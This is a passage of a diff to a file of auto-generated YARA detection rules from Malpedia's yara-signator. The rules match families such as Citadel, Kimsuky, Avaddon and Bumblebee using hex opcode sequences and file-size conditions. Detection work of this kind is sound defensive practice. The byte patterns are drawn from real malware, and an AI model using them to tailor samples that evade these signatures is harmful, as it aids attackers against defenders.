+		logic_hash = "73611f5253baf7f95cf22059dc76ddead3ab9941ef229c965d83aeede8e284a3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162400,38 +169484,32 @@ rule MALPEDIA_Win_Buer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4014 8b00 8b4010 8945fc 61 8b45fc }
-		$sequence_1 = { 7507 e8???????? eb05 e8???????? 46 83fe20 7cd1 }
-		$sequence_2 = { 60 64a130000000 8b400c 8b4014 8b00 8b4010 }
-		$sequence_3 = { 8bc2 eb19 33c0 85d2 7e13 3bc7 }
-		$sequence_4 = { 8b55e8 015158 8b55d8 894148 8b45dc 03c6 89414c }
-		$sequence_5 = { c1e104 0bc8 6a02 5b }
-		$sequence_6 = { 8945f8 ff15???????? 59 59 85c0 }
-		$sequence_7 = { 8365fc00 53 56 57 60 64a130000000 8b400c }
-		$sequence_8 = { c744240402000000 8d442428 c7442408???????? c744240c01000000 }
-		$sequence_9 = { e8???????? 80fb03 7705 80fb02 }
-		$sequence_10 = { e8???????? 0f0b b92c000000 ba01000000 e8???????? 0f0b 89f9 }
-		$sequence_11 = { c744240401000000 c7442408???????? c744240c01000000 89442410 }
-		$sequence_12 = { e8???????? 56 6a00 50 e8???????? c7471c01000000 }
-		$sequence_13 = { c744240800000000 57 e8???????? 85c0 }
-		$sequence_14 = { cd29 0f0b cc 8b442404 833800 7406 ba???????? }
-		$sequence_15 = { e8???????? 80fb05 ba01000000 0fb6c3 }
+		$sequence_0 = { 8b4508 c705????????01000000 50 a3???????? e8???????? 8db6bcdc4000 bf???????? }
+		$sequence_1 = { ff15???????? 85c0 a3???????? 741b 6a00 6a00 }
+		$sequence_2 = { 7552 833c8580e0400000 53 57 }
+		$sequence_3 = { c74050c0b54000 c7401401000000 c3 56 57 ff15???????? }
+		$sequence_4 = { c1ff05 83e11f 8b3cbd40e64000 8d0cc9 8d3c8f eb05 bf???????? }
+		$sequence_5 = { 83c8ff 5b 81c420000100 c3 8b3d???????? 8d4c2420 }
+		$sequence_6 = { ff74240c e8???????? 83c40c c3 e8???????? 8b4c2404 894814 }
+		$sequence_7 = { c3 33c0 5e c3 8b442404 c74050c0b54000 }
+		$sequence_8 = { 8b1d???????? b900400000 33c0 8d7c2420 8d542420 }
+		$sequence_9 = { ff742404 e8???????? 59 c3 56 8bf1 6a1b }
 
 	condition:
-		7 of them and filesize <3031040
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Chaperone_Auto : FILE
+rule MALPEDIA_Win_Poslurp_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5069c84b-f6f9-588d-8536-63d238bdb1de"
+		id = "7a8f0443-88b1-5a4f-a35b-b7bc9acf8924"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chaperone_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poslurp_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "9d40dc4ee44ea2fe4f6bf05be1cccf6d78aa19e4569d2284fce73479ea6dfe7a"
+		logic_hash = "95156f0f62f3b9458f6ba6ac285abaa70aca50d75127c0a8cc32d91b8191c0ea"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162445,33 +169523,33 @@ rule MALPEDIA_Win_Chaperone_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f3a4 488dbc2458010000 488d35d6490100 b918000000 f3a4 48c784245001000000000000 83bc249002000000 }
-		$sequence_1 = { 85c9 782e 3b0d???????? 7326 4863c9 488d15f8ca0100 488bc1 }
-		$sequence_2 = { eb05 1bc0 83d8ff 85c0 0f8475010000 488d15aeaf0100 488d8c24ec040000 }
-		$sequence_3 = { 488d9424a8020000 488b4c2430 ff15???????? 81bc24a802000003010000 0f8486000000 }
-		$sequence_4 = { 751f 83bc24d001000002 7515 83bc24c801000001 720b c78424a801000005000000 83bc24c401000006 }
-		$sequence_5 = { 488d94088c020000 488b8c2438490000 e8???????? 89842444490000 83bc244449000000 }
-		$sequence_6 = { ff15???????? 488905???????? 48833d????????00 750b c78424c801000002000000 488d9424a0020000 488b8c2480030000 }
-		$sequence_7 = { 0fb702 66898424d0000000 488d9424f0020000 488d8c24d0000000 ff15???????? 488d8c24d0000000 ff15???????? }
-		$sequence_8 = { ff15???????? 66ba5c00 488d4c2440 e8???????? 4889842450020000 488b842450020000 4883c002 }
-		$sequence_9 = { 49c1fe05 4c8d3d40cc0100 83e61f 486bf658 4b8b04f7 0fbe4c3008 83e101 }
+		$sequence_0 = { 0f87fd000000 668378203d 0f85f2000000 498bce }
+		$sequence_1 = { cc 33c9 ff15???????? cc 488bac2440010000 }
+		$sequence_2 = { 488bf5 498bfc f3a4 498bcc e8???????? }
+		$sequence_3 = { ff15???????? 4c8be8 4885c0 0f84c2000000 4863453c }
+		$sequence_4 = { 488d15a9100000 41b93f000f00 4533c0 48c7c102000080 }
+		$sequence_5 = { 418bc1 41ffc0 486bc022 4803c2 48ffc2 }
+		$sequence_6 = { 0f8301010000 418bd6 498bcf 8bfb 412bd7 }
+		$sequence_7 = { 0f84ae000000 80393d 0f85a5000000 418bd6 }
+		$sequence_8 = { 418bc8 ffce 488bd5 2bcd 8bfb }
+		$sequence_9 = { 488bd8 4883f8ff 0f84c8010000 448b05???????? 4889ac24a0020000 4889b424a8020000 4889bc24b0020000 }
 
 	condition:
-		7 of them and filesize <373760
+		7 of them and filesize <50176
 }
-rule MALPEDIA_Win_Safenet_Auto : FILE
+rule MALPEDIA_Win_Wndtest_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ac7a694f-f64f-5870-a7d7-8253326e6bdf"
+		id = "a60fab9e-f350-5d99-8e55-84b700dcda0e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.safenet"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.safenet_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wndtest_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "2a23436dc4bc12ef6d7e9d46230626c8fc77e510b9c9904c537608f099e6c2ff"
-		score = 75
+		logic_hash = "c7d0b1dfe74b472c5174a4761a9428ccee3d781f889972cf04ca5a6d741a211f"
+		score = 50
 		quality = 75
 		tags = "FILE"
 		version = "1"
@@ -162484,32 +169562,32 @@ rule MALPEDIA_Win_Safenet_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4004 50 c3 8b442404 668b08 }
-		$sequence_1 = { 50 ff15???????? 85c0 7511 6a01 5b }
-		$sequence_2 = { 57 8d45e6 6a02 50 e8???????? 836d0804 83c420 }
-		$sequence_3 = { 8b08 50 897920 8b4df0 83602000 e8???????? }
-		$sequence_4 = { ff7008 ff7604 ff15???????? 8bcf e8???????? }
-		$sequence_5 = { 8d4db8 c645fc01 e8???????? 6a01 8d4dcc 885dfc }
-		$sequence_6 = { 57 ff7614 ff55f8 85c0 0f85d7000000 397df4 }
-		$sequence_7 = { ffd6 83c414 8d85b0fbffff ff77f8 }
-		$sequence_8 = { ff750c e8???????? ff75ec e8???????? ff75e8 e8???????? }
-		$sequence_9 = { bf???????? 8b45d4 85c0 7505 b8???????? 57 50 }
+		$sequence_0 = { 8d1439 8a0410 320419 41 }
+		$sequence_1 = { 56 ffd7 8b0d???????? a3???????? a1???????? }
+		$sequence_2 = { 56 0fbe7001 83f60d 57 }
+		$sequence_3 = { 880c3e 5f 5e 8be5 }
+		$sequence_4 = { 75ea 8bcb 0fb6d2 c1e918 33ca c1e308 }
+		$sequence_5 = { a3???????? a1???????? 50 51 e8???????? 83c408 50 }
+		$sequence_6 = { 2bc2 40 50 e8???????? 8bd0 }
+		$sequence_7 = { ffd7 8b15???????? a3???????? a1???????? 52 50 e8???????? }
+		$sequence_8 = { 83c404 33c9 8d460a ba02000000 f7e2 }
+		$sequence_9 = { 8b0d???????? 894808 e9???????? 8d46fe 8bff 668b4802 }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <901120
 }
-rule MALPEDIA_Win_Hoplight_Auto : FILE
+rule MALPEDIA_Win_Citadel_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d07c2fe2-ecaa-5d6d-9200-86c11ba23c84"
+		id = "cf6cb189-c7d7-5571-b2ec-c3b6f165f615"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hoplight_auto.yar#L1-L90"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.citadel_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "247623c43b610ddcbb448aac3610ffa1141476124d800ee4677cf300abbf0143"
+		logic_hash = "8e88ac7355b3e3defd358849e38b9e68e570cd840f3a9a1ae754cb483f4c91f5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162523,32 +169601,40 @@ rule MALPEDIA_Win_Hoplight_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488b4c2460 e8???????? 8b442428 488d0d5e680200 }
-		$sequence_1 = { 488b5260 8b0481 894208 488b842480000000 }
-		$sequence_2 = { 8b442424 25ff000000 8bc0 488d0d87740200 }
-		$sequence_3 = { 4889542420 4d8bc8 488b442440 4c8bc0 }
-		$sequence_4 = { 4c8bb42498040000 488b8d80030000 4833cc e8???????? }
-		$sequence_5 = { 488d4c2460 e8???????? 488b842470020000 488b4060 }
-		$sequence_6 = { 4833c4 48898424f8000000 c744242800000000 488b842410010000 }
-		$sequence_7 = { 4c8d05883c0300 488bd0 488b4c2450 e8???????? }
+		$sequence_0 = { eb0e 6800800000 53 57 }
+		$sequence_1 = { 55 8bec ff7508 e8???????? e8???????? 5d }
+		$sequence_2 = { eb03 83c002 68???????? 50 ff15???????? }
+		$sequence_3 = { e8???????? e8???????? 5d ff25???????? 55 8bec ff7508 }
+		$sequence_4 = { 33c0 5f 5e c20400 55 8bec 8b4d0c }
+		$sequence_5 = { e8???????? 8d7c0201 8bc7 e8???????? }
+		$sequence_6 = { 50 e8???????? 6a44 5a 52 }
+		$sequence_7 = { 50 8d5dfc e8???????? 8b4dfc }
+		$sequence_8 = { 884601 33c0 6689460c ff4df8 }
+		$sequence_9 = { 8a5602 8b4e10 8a5e14 fec8 32d0 8ac2 3245fe }
+		$sequence_10 = { 8845fe c645ff00 763c 8a06 }
+		$sequence_11 = { 3aca 73fa 0fb6c9 8b04c8 ebae 32c0 5f }
+		$sequence_12 = { 33c0 6689460e 0fb74606 6685c0 7432 }
+		$sequence_13 = { 85c0 7409 3255fd 8a0f ffd0 8807 }
+		$sequence_14 = { 6685c0 7432 66ff460e 6639460e }
+		$sequence_15 = { 6639460c 7228 8b4610 8a4e05 8a5614 85c0 }
 
 	condition:
-		7 of them and filesize <765952
+		7 of them and filesize <1236992
 }
-rule MALPEDIA_Win_Liteduke_Auto : FILE
+rule MALPEDIA_Win_Kimsuky_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c89a689f-3dfd-5d2a-aec1-28f7aca47554"
+		id = "161d56f8-b6bc-5eb6-924b-1d343e294025"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.liteduke_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kimsuky_auto.yar#L1-L285"
 		license_url = "N/A"
-		logic_hash = "5d6b62682cd8e4bed5eedc1b6f48e136bed91567c9f36c00bf40e1cbea238867"
+		logic_hash = "9e58434bf421de4759f7d578f12345202af7c8ac65503745224655e4e4de3bf9"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -162560,32 +169646,53 @@ rule MALPEDIA_Win_Liteduke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff7508 ff15???????? ff75fc ff15???????? 5b 5e }
-		$sequence_1 = { 6800010000 ff15???????? c3 68???????? ff15???????? }
-		$sequence_2 = { 5b 5e 5f 8b45d8 c9 c20400 55 }
-		$sequence_3 = { 41 83f904 7cdd 5f 5e }
-		$sequence_4 = { c9 c20800 55 89e5 ff7508 e8???????? }
-		$sequence_5 = { c20c00 c70101000000 61 c9 c20c00 c70100000000 61 }
-		$sequence_6 = { c1c006 243f 3c3e 7205 c0e002 2c0e 2c04 }
-		$sequence_7 = { 46 8a06 8807 46 43 41 42 }
-		$sequence_8 = { b800000000 8a03 c1e804 83f809 7f05 83c030 eb03 }
-		$sequence_9 = { 56 e8???????? 83c40c ff750c 56 e8???????? 83c408 }
+		$sequence_0 = { 50 ffd6 8bd8 85db 7510 5e }
+		$sequence_1 = { 6a00 6800f70484 6a00 6a00 68???????? 8d85e4fbffff 50 }
+		$sequence_2 = { 8d85ecfbffff 50 8d85f8feffff 50 8d85f4fdffff }
+		$sequence_3 = { ffd7 a3???????? 8d85ccf3ffff 50 56 ffd7 }
+		$sequence_4 = { 7503 56 eb18 6a00 6a00 6a00 }
+		$sequence_5 = { 85c0 7423 6a00 8d85f0feffff 50 68???????? }
+		$sequence_6 = { b9???????? e8???????? 8d85f8feffff 50 6a00 6a00 6a1a }
+		$sequence_7 = { eb06 ff15???????? 85c0 7421 }
+		$sequence_8 = { ff15???????? 85c0 7516 ff15???????? 8bd8 e8???????? }
+		$sequence_9 = { 4156 4157 4883ec40 48896c2470 4889742438 4533ff 4c89642428 }
+		$sequence_10 = { ebdb 65488b042560000000 48897c2430 48896c2460 }
+		$sequence_11 = { 0f857affffff 4c8b7c2460 4c8b6c2420 4c8b642428 488b7c2430 488b742438 488b6c2470 }
+		$sequence_12 = { 498bce 418d5001 ffd3 488bc3 4883c440 415f }
+		$sequence_13 = { 488b742438 488b6c2470 4d8bc6 4d2b4730 }
+		$sequence_14 = { 0f8540feffff 488b6c2460 4c637d3c 33c9 41b800300000 4c03fd }
+		$sequence_15 = { 4533ff 4c89642428 4c896c2420 33f6 4533ed 4533e4 }
+		$sequence_16 = { 85c0 0f94c1 85c9 0f8494020000 }
+		$sequence_17 = { 4c89642430 c744242880000000 c744242002000000 4533c9 4533c0 }
+		$sequence_18 = { 85c0 0f8432020000 8b7590 660f1f440000 }
+		$sequence_19 = { 8b9590000000 0395d8000000 0395b8000000 8bbda0010000 8d4702 03c2 89442450 }
+		$sequence_20 = { 8b4c2468 c6043900 803f00 740d }
+		$sequence_21 = { 488d8a38000000 e9???????? 488d8a28010000 e9???????? }
+		$sequence_22 = { 85c0 7464 c7453038000000 33c0 }
+		$sequence_23 = { 85c0 7471 895c2468 8d4801 }
+		$sequence_24 = { 83f809 8d7340 7405 be20000000 c68424a000000000 }
+		$sequence_25 = { 668945c4 8b05???????? 8945d8 0fb705???????? }
+		$sequence_26 = { 668945ea 6644896dec 4c8d45c0 488d1563c20400 }
+		$sequence_27 = { 66894507 884509 895d0b 85ff }
+		$sequence_28 = { 668945dc 448d62ff e8???????? 33db }
+		$sequence_29 = { 668945b0 488d4db0 e8???????? 488d442450 }
+		$sequence_30 = { 668945e8 488bc3 7203 488b03 }
 
 	condition:
-		7 of them and filesize <1171456
+		7 of them and filesize <1021952
 }
-rule MALPEDIA_Win_Slave_Auto : FILE
+rule MALPEDIA_Win_Avaddon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2db01cdc-36fb-5960-a7bc-78a56f81c6bb"
+		id = "63f23353-9bc4-58e9-928a-ae89a2672871"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slave"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slave_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avaddon_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "b1287622c49df3c1a2838a3a773babcdc61506504422851d523ef94f6f257153"
+		logic_hash = "a18db52df950b60c5b6d6008b561a4d13093802e02b6d570e4f6e8e4ed4f56e8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162599,32 +169706,32 @@ rule MALPEDIA_Win_Slave_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 85c0 0f84e0020000 6a04 6800100000 6800100000 }
-		$sequence_1 = { 7514 66837b0600 7405 8a4306 }
-		$sequence_2 = { 0fbf4720 33d2 50 0fb6c1 68???????? 83c008 }
-		$sequence_3 = { 730d 810e00000800 808b0603000040 8b4610 808b0603000010 8a55ff }
-		$sequence_4 = { c74710d5000000 eb10 c7471095000000 eb07 c7471085000000 f70700400000 742f }
-		$sequence_5 = { c1c90d 33c8 8b7dd4 8b45e8 03fa c1c802 33c8 }
-		$sequence_6 = { 83ec24 53 32c0 32c9 56 8b7508 }
-		$sequence_7 = { 8a8e08010000 f6c210 0f8411040000 8b8610030000 0b8614030000 0f84c2000000 f6c240 }
-		$sequence_8 = { 8bc6 c1c806 33c8 8bc3 3345d4 034da0 }
-		$sequence_9 = { 8bd8 0b5df4 2345f4 03ca 235de0 0bd8 8b55ac }
+		$sequence_0 = { 55 8bec 83e4f8 8b11 83ec14 0faf5104 53 }
+		$sequence_1 = { 52 50 e8???????? 8bf0 8bfa 8b4508 03f3 }
+		$sequence_2 = { 8d4dcc e9???????? 8d4d88 e9???????? 8d4db4 e9???????? 8d4de4 }
+		$sequence_3 = { 8b4df0 e9???????? 8d4dbc e9???????? 8b542408 8d420c 8b4ac0 }
+		$sequence_4 = { 57 56 e8???????? 83c408 85c0 7535 837e6402 }
+		$sequence_5 = { 8bd0 e8???????? 8b5604 83c404 }
+		$sequence_6 = { ff75b4 e8???????? 83c408 47 897dac 81fffe000000 0f8654feffff }
+		$sequence_7 = { 8bc8 2bce 0fafcb 890a 83c204 8b4de4 41 }
+		$sequence_8 = { 034b08 4e 8b4588 6a00 52 51 56 }
+		$sequence_9 = { 8d4dd8 e8???????? c645fc0d 8b4f14 3b4f18 7437 c7411000000000 }
 
 	condition:
-		7 of them and filesize <532480
+		7 of them and filesize <2343936
 }
-rule MALPEDIA_Win_Carrotball_Auto : FILE
+rule MALPEDIA_Win_Bumblebee_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8d1dffb9-f801-5b51-998b-8e4431af5d29"
+		id = "2d631f7c-7434-5c27-9009-44b4e59637b5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.carrotball_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bumblebee_auto.yar#L1-L109"
 		license_url = "N/A"
-		logic_hash = "8cb2e3b01c31931d0c5f23b61551aa799de8dd787a3493373f0ac01ba6f109d9"
+		logic_hash = "5441d9d4140ebd43dfbd5141b1d6fd9472ec1ff4702b3388ec7d6ec403a89c52"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162638,32 +169745,30 @@ rule MALPEDIA_Win_Carrotball_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? eb36 68???????? 56 ff15???????? }
-		$sequence_1 = { 6a04 58 6bc000 c7807430001002000000 6a04 }
-		$sequence_2 = { 5f 8b4dfc 33cd 33c0 e8???????? 8be5 5d }
-		$sequence_3 = { ffd6 5e 5f 8b4dfc 33cd 33c0 }
-		$sequence_4 = { 68???????? ff15???????? eb36 68???????? 56 }
-		$sequence_5 = { 8bf0 85f6 0f84ac000000 68???????? }
-		$sequence_6 = { 56 ff15???????? 85c0 7432 8d85ecfdffff }
-		$sequence_7 = { ff15???????? 8bf8 85ff 0f84d9000000 56 }
-		$sequence_8 = { ff15???????? 8bf0 85f6 0f84ac000000 68???????? 56 ff15???????? }
-		$sequence_9 = { 6bc000 c7807430001002000000 6a04 58 6bc000 }
+		$sequence_0 = { 0fb7570e 6623d1 740d 0fbe470d b90d000000 2bc8 }
+		$sequence_1 = { 0f44c1 833c1800 7475 837c180400 746e 8b1418 488b05???????? }
+		$sequence_2 = { 0f88cc000000 4863533c 488b05???????? 4803d6 4885c0 0f84b5000000 488d4c2430 }
+		$sequence_3 = { 0f880c010000 488b7580 4885f6 0f84ff000000 488b05???????? 4885c0 0f84ef000000 }
+		$sequence_4 = { 0f8895000000 8b7b28 b8c0000000 4803fe ba64860000 66395304 8d4810 }
+		$sequence_5 = { 0fbec0 8d59e8 8d1c58 ffc2 }
+		$sequence_6 = { 0f57c0 c744242800000008 4c8d45d0 488975d8 8d4640 488975e0 }
+		$sequence_7 = { 0f8840010000 488b05???????? 4885c0 0f8430010000 488b542448 488d4c2438 48894c2420 }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <4825088
 }
-rule MALPEDIA_Win_Poscardstealer_Auto : FILE
+rule MALPEDIA_Win_Collectorgoomba_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "30b86ec5-11cf-5ead-8d33-f96f4fd997a4"
+		id = "ee60f6dc-0e40-5600-9363-18addef799db"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poscardstealer_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.collectorgoomba_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "e2bc29fc53d916c8c6261d35dc13ec4aa0c9f6d2e8252ac3a60894a094beda3f"
+		logic_hash = "b5a8ed8c5e59ef8c9c917b7f2556669b4a98ddcbc5ddbd63af8e98206da01974"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162677,32 +169782,32 @@ rule MALPEDIA_Win_Poscardstealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c645fc01 e8???????? 8d4db8 51 50 8d55d4 }
-		$sequence_1 = { 33d2 bb07000000 895de8 8975e4 }
-		$sequence_2 = { 50 ff15???????? 8bf0 8d45b0 50 }
-		$sequence_3 = { 03c8 83fb10 7303 8d55d4 }
-		$sequence_4 = { 8bd1 c1fa05 c1e006 030495e0794200 eb05 b8???????? f6400420 }
-		$sequence_5 = { c785e8feffff7ce74100 8b8520ffffff c645fc07 894598 }
-		$sequence_6 = { 8b4da4 8b5590 8bc2 83f908 7303 }
-		$sequence_7 = { 885dd4 e8???????? 8b0d???????? 8b35???????? 2bce b893244992 f7e9 }
-		$sequence_8 = { 6800000040 50 ff15???????? 8bf0 8d45c4 50 }
-		$sequence_9 = { e9???????? 8d8d58feffff e9???????? 8d8d10ffffff e9???????? 8d8d48ffffff e9???????? }
+		$sequence_0 = { eb91 8b450c 833801 7e04 834dfcff 837dfc00 7c1c }
+		$sequence_1 = { 8b8084000000 8945fc 837dfc00 756e 8b4508 83787c00 7465 }
+		$sequence_2 = { ff30 ff75f8 ff75fc ff7508 e8???????? 83c410 8b4508 }
+		$sequence_3 = { 83c007 894588 ff758c ff7588 8d8528fdffff 50 8d4dc4 }
+		$sequence_4 = { ffb574ffffff e8???????? 59 59 8845e6 8a45e6 8845e5 }
+		$sequence_5 = { c705????????020a010d c705????????04050f01 833d????????00 740a c705????????04060b08 c705????????0206030b c705????????08050a0e }
+		$sequence_6 = { ff704c 8b4508 ff30 e8???????? 59 59 8945d4 }
+		$sequence_7 = { e8???????? 83c40c ebd1 33c0 40 c1e005 c64405d000 }
+		$sequence_8 = { ff75fc e8???????? 59 59 ebad ff75d0 6a00 }
+		$sequence_9 = { 8bec 83ec10 8b4508 8945f0 8b45f0 8b8018010000 8945f4 }
 
 	condition:
-		7 of them and filesize <362496
+		7 of them and filesize <1400832
 }
-rule MALPEDIA_Win_Excalibur_Auto : FILE
+rule MALPEDIA_Win_Moriagent_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2f6333bc-c895-5bb8-bab8-691e82e18cbb"
+		id = "0b12c276-52ba-56f2-9890-c8bf86de4e3d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.excalibur_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moriagent_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "2c11504edbec5bcce0250be14d19518961ccd4df7434fa2cf5c1fc07833012b8"
+		logic_hash = "0ba5f6f81e0a998dcf4930d5e902ddcfa057da2849fe14345a41be1a23cd042b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162716,32 +169821,37 @@ rule MALPEDIA_Win_Excalibur_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 c745fc00000000 e8???????? c645fc01 8bbdece5ffff 8b9dd8e5ffff 8d8dd8e5ffff }
-		$sequence_1 = { 884c241f b90f000000 c644242000 0f57c0 660fd6442420 8d442420 83f910 }
-		$sequence_2 = { 50 e8???????? 8b55e4 83c40c 6bd230 8d8210074400 8945e4 }
-		$sequence_3 = { 7514 8b4738 8b4f3c 8902 8b471c 8908 8b472c }
-		$sequence_4 = { 99 2bc2 8b5508 d1f8 2b14c5605f4300 7413 85d2 }
-		$sequence_5 = { 80b86004440000 74e9 8b5ddc 0fb606 0fbe8060044400 85c0 7510 }
-		$sequence_6 = { 6689141e 8945f8 46 03f6 0fb7141e 81ff00000001 7314 }
-		$sequence_7 = { c645fc01 8bbdece5ffff 8b9dd8e5ffff 8d8dd8e5ffff 83ff10 0f43cb 6a00 }
-		$sequence_8 = { 8bb540e5ffff e9???????? 8bb540e5ffff e9???????? 8b8530e5ffff 8b0485c0324400 f644060480 }
-		$sequence_9 = { 8975fc 8b45e0 8b0485c0324400 f644030401 7428 57 e8???????? }
+		$sequence_0 = { b802000000 eb05 b801000000 33ff }
+		$sequence_1 = { cc 488bc8 e8???????? 48897d00 48c745080f000000 c645f000 488b4528 }
+		$sequence_2 = { cc 488bc8 e8???????? 48897da0 48c745a80f000000 c6459000 }
+		$sequence_3 = { cc 488bc8 e8???????? 48897d18 48c745200f000000 c6450800 }
+		$sequence_4 = { 83bd98efffff10 8bb5c4efffff 8b8d94efffff 660f7ec8 51 0f43d0 }
+		$sequence_5 = { cc 488bc8 e8???????? 48897dd0 48c745d80f000000 c645c000 }
+		$sequence_6 = { cc 488bc8 e8???????? 48897dc0 48c745c80f000000 c645b000 }
+		$sequence_7 = { cc 488bc8 e8???????? 48897d20 48c745280f000000 c6451000 }
+		$sequence_8 = { 8d8de4feffff e9???????? 8d8d30ffffff e9???????? 8d8dccfeffff }
+		$sequence_9 = { 0f87df160000 52 51 e8???????? 8b85e8eeffff }
+		$sequence_10 = { eb06 8bb5e4eeffff 8b857cefffff 85c0 0f84bd080000 80bdc7eeffff00 }
+		$sequence_11 = { c785e0feffff0f000000 c685ccfeffff00 6a04 68???????? c7411000000000 c741140f000000 c60100 }
